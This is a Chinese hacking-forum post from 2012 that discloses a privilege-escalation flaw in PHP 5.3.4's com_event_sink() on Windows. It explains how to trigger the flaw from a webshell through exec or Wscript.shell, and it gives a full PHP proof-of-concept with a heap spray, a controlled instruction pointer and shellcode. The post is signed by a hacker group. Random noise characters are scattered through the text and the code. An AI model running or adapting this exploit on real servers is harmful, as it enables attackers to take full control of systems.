找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2104|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中% q  A1 m) n$ Q% p5 ~+ c

" T% C: m0 q, h7 n* s测试方法如下:cmd /c x:\php\php.exe x:\test.php
# f4 F7 x7 h) u0 W" _; `& o! t" a3 ]; b1 B& Q9 a" b1 j
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php& m" T! U1 L# x* l( t
这里是两个测试的截图:
# R' {. g& H' Y) A) P2 I" U
6 R4 k/ q% ]* b0 i
5 F; H- }! u; @% A
: |; i  r8 _0 _3 F; `8 v2 Q, U# y4 P+ }2 c. q
0 T6 I7 G2 n7 ^" B/ Y6 S9 n# q. H
成功利用此漏洞的攻击者将获得系统的最高权限! D  r+ A* o: p- {

. ?+ g& g& _& H  T
& W5 O* ^; j5 e4 i7 p* Z9 w( ?; ^1 P  P( Q0 I; w1 g9 H
7 _. K1 i  o6 p, l0 y
. C& ]5 Q6 d/ L+ \9 O
关于漏洞分析稍后附上。一下是PoC代码:# \' p' g* a) X  o' |% ^, P
& [' A2 Z7 G* O- G+ i! \1 L
<?php
& [+ d* U6 }9 `. w9 j3 G( f3 M//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞$ S0 t5 A6 n1 }  Q
//$eip ="\x44\x43\x42\x41";
& k, |9 ^; v- s$eip= "\x4b\xe8\x57\x78";% d5 {# r' W8 c8 r
$eax ="\x80\x01\x8d\x04";0 w3 Q4 ]4 b9 C% g) i
$deodrant="";
& u9 x+ |# G9 j" F. f: y( F6 ?$axespray = str_repeat($eip.$eax,0x80);2 V& G! f' P+ h/ L2 G( B  N$ |
//048d0190
$ X  U" h" w% j3 ^. E- u% necho strlen($axespray);
7 h+ z0 _+ i+ ]: M- h$ r) g5 Cecho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";* I) L7 q+ z6 Z- }0 R1 s
echo "Silic Group Hacker Army - BlackBap.Org";
" M5 E6 d+ j) M" h; b//19200 ==4B32 4b00
$ L, n# Z' N! g$ l  c0 Tfor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
/ p9 d9 b5 d9 U/ |5 e/ m$terminate = "T";: K5 F2 [; K. i- Z& E
$u[] =$deodrant;! u- C! ]& d) J. z& o
$r[] =$deodrant.$terminate;
, P9 L0 s1 a; y4 i% }4 ?7 D$a[] =$deodrant.$terminate;4 K6 I) V7 F! L1 [' K6 b9 J
$s[] =$deodrant.$terminate;
+ t+ d7 `5 N; l% U2 F7 H//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的
0 ^+ j1 `5 B7 t) T& z6 ]) m: c$vVar = new VARIANT(0x048d0000+180);
. B/ S7 u; G! V% ]* {$ |//弹窗代码(Shellcode)
( X, k# U( _; e7 B/ V$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
* N7 k7 [3 G" u8 S/ v$var2 = new VARIANT(0x41414242);# u. c/ s1 S* R& ], U+ e# b8 _
com_event_sink($vVar,$var2,$buffer);
2 _' I7 k) z# @, s, F3 f8 w& s?>6 c0 R5 I- J  f- |9 O1 ?. }

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表